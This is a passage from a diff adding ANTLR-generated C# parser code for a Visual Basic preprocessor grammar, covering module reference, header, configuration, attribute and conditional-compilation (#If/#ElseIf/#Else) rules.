[System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitModuleReference(this); + } + } + + [RuleVersion(0)] + public ModuleReferenceContext moduleReference() { + ModuleReferenceContext _localctx = new ModuleReferenceContext(Context, State); + EnterRule(_localctx, 14, RULE_moduleReference); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 169; + Match(OBJECT); + State = 171; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 170; + Match(WS); + } + } + + State = 173; + Match(EQ); + State = 175; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 174; + Match(WS); + } + } + + State = 177; + moduleReferenceValue(); + State = 183; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==SEMICOLON) { + { + State = 178; + Match(SEMICOLON); + State = 180; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 179; + Match(WS); + } + } + + State = 182; + moduleReferenceComponent(); + } + } + + State = 188; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,24,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 185; + Match(NEWLINE); + } + } + } + State = 190; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,24,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleReferenceValueContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STRINGLITERAL() { return GetToken(VBPreprocessorsParser.STRINGLITERAL, 0); } + public ModuleReferenceValueContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleReferenceValue; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterModuleReferenceValue(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitModuleReferenceValue(this); + } + } + + [RuleVersion(0)] + public ModuleReferenceValueContext moduleReferenceValue() { + ModuleReferenceValueContext _localctx = new ModuleReferenceValueContext(Context, State); + EnterRule(_localctx, 16, RULE_moduleReferenceValue); + try { + EnterOuterAlt(_localctx, 1); + { + State = 191; + Match(STRINGLITERAL); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleReferenceComponentContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STRINGLITERAL() { return GetToken(VBPreprocessorsParser.STRINGLITERAL, 0); } + public ModuleReferenceComponentContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleReferenceComponent; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterModuleReferenceComponent(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitModuleReferenceComponent(this); + } + } + + [RuleVersion(0)] + public ModuleReferenceComponentContext moduleReferenceComponent() { + ModuleReferenceComponentContext _localctx = new ModuleReferenceComponentContext(Context, State); + EnterRule(_localctx, 18, RULE_moduleReferenceComponent); + try { + EnterOuterAlt(_localctx, 1); + { + State = 193; + Match(STRINGLITERAL); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleHeaderContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode VERSION() { return GetToken(VBPreprocessorsParser.VERSION, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOUBLELITERAL() { return GetToken(VBPreprocessorsParser.DOUBLELITERAL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CLASS() { return GetToken(VBPreprocessorsParser.CLASS, 0); } + public ModuleHeaderContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleHeader; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterModuleHeader(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitModuleHeader(this); + } + } + + [RuleVersion(0)] + public ModuleHeaderContext moduleHeader() { + ModuleHeaderContext _localctx = new ModuleHeaderContext(Context, State); + EnterRule(_localctx, 20, RULE_moduleHeader); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 195; + Match(VERSION); + State = 196; + Match(WS); + State = 197; + Match(DOUBLELITERAL); + State = 200; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 198; + Match(WS); + State = 199; + Match(CLASS); + } + } + + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleConfigContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BEGIN() { return GetToken(VBPreprocessorsParser.BEGIN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END() { return GetToken(VBPreprocessorsParser.END, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleConfigElementContext[] moduleConfigElement() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleConfigElementContext moduleConfigElement(int i) { + return GetRuleContext(i); + } + public ModuleConfigContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleConfig; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterModuleConfig(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitModuleConfig(this); + } + } + + [RuleVersion(0)] + public ModuleConfigContext moduleConfig() { + ModuleConfigContext _localctx = new ModuleConfigContext(Context, State); + EnterRule(_localctx, 22, RULE_moduleConfig); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 202; + Match(BEGIN); + State = 204; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 203; + Match(NEWLINE); + } + } + State = 206; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 209; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 208; + moduleConfigElement(); + } + } + State = 211; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==L_SQUARE_BRACKET || _la==IDENTIFIER ); + State = 213; + Match(END); + State = 215; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 214; + Match(NEWLINE); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 217; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,28,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleConfigElementContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBPreprocessorsParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public LiteralContext literal() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE() { return GetToken(VBPreprocessorsParser.NEWLINE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + public ModuleConfigElementContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleConfigElement; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterModuleConfigElement(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitModuleConfigElement(this); + } + } + + [RuleVersion(0)] + public ModuleConfigElementContext moduleConfigElement() { + ModuleConfigElementContext _localctx = new ModuleConfigElementContext(Context, State); + EnterRule(_localctx, 24, RULE_moduleConfigElement); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 219; + ambiguousIdentifier(); + State = 221; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 220; + Match(WS); + } + } + + State = 223; + Match(EQ); + State = 225; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 224; + Match(WS); + } + } + + State = 227; + literal(); + State = 228; + Match(NEWLINE); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class AmbiguousIdentifierContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] IDENTIFIER() { return GetTokens(VBPreprocessorsParser.IDENTIFIER); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IDENTIFIER(int i) { + return GetToken(VBPreprocessorsParser.IDENTIFIER, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode L_SQUARE_BRACKET() { return GetToken(VBPreprocessorsParser.L_SQUARE_BRACKET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode R_SQUARE_BRACKET() { return GetToken(VBPreprocessorsParser.R_SQUARE_BRACKET, 0); } + public AmbiguousIdentifierContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_ambiguousIdentifier; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterAmbiguousIdentifier(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitAmbiguousIdentifier(this); + } + } + + [RuleVersion(0)] + public AmbiguousIdentifierContext ambiguousIdentifier() { + AmbiguousIdentifierContext _localctx = new AmbiguousIdentifierContext(Context, State); + EnterRule(_localctx, 26, RULE_ambiguousIdentifier); + int _la; + try { + int _alt; + State = 242; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case IDENTIFIER: + EnterOuterAlt(_localctx, 1); + { + State = 231; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 230; + Match(IDENTIFIER); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 233; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,31,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + break; + case L_SQUARE_BRACKET: + EnterOuterAlt(_localctx, 2); + { + State = 235; + Match(L_SQUARE_BRACKET); + State = 237; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 236; + Match(IDENTIFIER); + } + } + State = 239; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==IDENTIFIER ); + State = 241; + Match(R_SQUARE_BRACKET); + } + break; + default: + throw new NoViableAltException(this); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleAttributesContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AttributeStmtContext[] attributeStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public AttributeStmtContext attributeStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + public ModuleAttributesContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleAttributes; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterModuleAttributes(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitModuleAttributes(this); + } + } + + [RuleVersion(0)] + public ModuleAttributesContext moduleAttributes() { + ModuleAttributesContext _localctx = new ModuleAttributesContext(Context, State); + EnterRule(_localctx, 28, RULE_moduleAttributes); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 250; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 244; + attributeStmt(); + State = 246; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 245; + Match(NEWLINE); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 248; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,34,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + } + State = 252; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==ATTRIBUTE ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MacroIfThenElseStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public MacroIfBlockStmtContext macroIfBlockStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_END_IF() { return GetToken(VBPreprocessorsParser.MACRO_END_IF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public MacroElseIfBlockStmtContext[] macroElseIfBlockStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public MacroElseIfBlockStmtContext macroElseIfBlockStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public MacroElseBlockStmtContext macroElseBlockStmt() { + return GetRuleContext(0); + } + public MacroIfThenElseStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_macroIfThenElseStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterMacroIfThenElseStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitMacroIfThenElseStmt(this); + } + } + + [RuleVersion(0)] + public MacroIfThenElseStmtContext macroIfThenElseStmt() { + MacroIfThenElseStmtContext _localctx = new MacroIfThenElseStmtContext(Context, State); + EnterRule(_localctx, 30, RULE_macroIfThenElseStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 254; + macroIfBlockStmt(); + State = 258; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==MACRO_ELSEIF) { + { + { + State = 255; + macroElseIfBlockStmt(); + } + } + State = 260; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 262; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==MACRO_ELSE) { + { + State = 261; + macroElseBlockStmt(); + } + } + + State = 264; + Match(MACRO_END_IF); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MacroIfBlockCondStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_IF() { return GetToken(VBPreprocessorsParser.MACRO_IF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public IfConditionStmtContext ifConditionStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode THEN() { return GetToken(VBPreprocessorsParser.THEN, 0); } + public MacroIfBlockCondStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_macroIfBlockCondStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterMacroIfBlockCondStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitMacroIfBlockCondStmt(this); + } + } + + [RuleVersion(0)] + public MacroIfBlockCondStmtContext macroIfBlockCondStmt() { + MacroIfBlockCondStmtContext _localctx = new MacroIfBlockCondStmtContext(Context, State); + EnterRule(_localctx, 32, RULE_macroIfBlockCondStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 266; + Match(MACRO_IF); + State = 267; + Match(WS); + State = 268; + ifConditionStmt(); + State = 269; + Match(WS); + State = 270; + Match(THEN); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MacroIfBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public MacroIfBlockCondStmtContext macroIfBlockCondStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBPreprocessorsParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public CommentBlockContext[] commentBlock() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public CommentBlockContext commentBlock(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public CodeBlockContext[] codeBlock() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public CodeBlockContext codeBlock(int i) { + return GetRuleContext(i); + } + public MacroIfBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_macroIfBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterMacroIfBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitMacroIfBlockStmt(this); + } + } + + [RuleVersion(0)] + public MacroIfBlockStmtContext macroIfBlockStmt() { + MacroIfBlockStmtContext _localctx = new MacroIfBlockStmtContext(Context, State); + EnterRule(_localctx, 34, RULE_macroIfBlockStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 272; + macroIfBlockCondStmt(); + State = 274; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 273; + Match(WS); + } + } + + State = 279; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==COMMENT) { + { + { + State = 276; + commentBlock(); + } + } + State = 281; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 283; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 282; + Match(NEWLINE); + } + } + State = 285; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 290; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while ((((_la) & ~0x3f) == 0 && ((1L << _la) & -7340034L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & 509L) != 0)) { + { + { + State = 287; + codeBlock(); + } + } + State = 292; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MacroElseIfBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_ELSEIF() { return GetToken(VBPreprocessorsParser.MACRO_ELSEIF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public IfConditionStmtContext ifConditionStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode THEN() { return GetToken(VBPreprocessorsParser.THEN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public CommentBlockContext[] commentBlock() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public CommentBlockContext commentBlock(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public CodeBlockContext[] codeBlock() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public CodeBlockContext codeBlock(int i) { + return GetRuleContext(i); + } + public MacroElseIfBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_macroElseIfBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterMacroElseIfBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitMacroElseIfBlockStmt(this); + } + } + + [RuleVersion(0)] + public MacroElseIfBlockStmtContext macroElseIfBlockStmt() { + MacroElseIfBlockStmtContext _localctx = new MacroElseIfBlockStmtContext(Context, State); + EnterRule(_localctx, 36, RULE_macroElseIfBlockStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 293; + Match(MACRO_ELSEIF); + State = 294; + Match(WS); + State = 295; + ifConditionStmt(); + State = 296; + Match(WS); + State = 297; + Match(THEN); + State = 299; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 298; + Match(WS); + } + } + + State = 304; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==COMMENT) { + { + { + State = 301; + commentBlock(); + } + } + State = 306; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 308; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 307; + Match(NEWLINE); + } + } + State = 310; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 315; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while ((((_la) & ~0x3f) == 0 && ((1L << _la) & -7340034L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & 509L) != 0)) { + { + { + State = 312; + codeBlock(); + } + } + State = 317; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MacroElseBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_ELSE() { return GetToken(VBPreprocessorsParser.MACRO_ELSE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBPreprocessorsParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public CommentBlockContext[] commentBlock() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public CommentBlockContext commentBlock(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public CodeBlockContext[] codeBlock() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public CodeBlockContext codeBlock(int i) { + return GetRuleContext(i); + } + public MacroElseBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_macroElseBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterMacroElseBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitMacroElseBlockStmt(this); + } + } + + [RuleVersion(0)] + public MacroElseBlockStmtContext macroElseBlockStmt() { + MacroElseBlockStmtContext _localctx = new MacroElseBlockStmtContext(Context, State); + EnterRule(_localctx, 38, RULE_macroElseBlockStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 318; + Match(MACRO_ELSE); + State = 320; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 319; + Match(WS); + } + } + + State = 325; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==COMMENT) { + { + { + State = 322; + commentBlock(); + } + } + State = 327; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 329; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 328; + Match(NEWLINE); + } + } + State = 331; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 336; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while ((((_la) & ~0x3f) == 0 && ((1L << _la) & -7340034L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & 509L) != 0)) { + { + 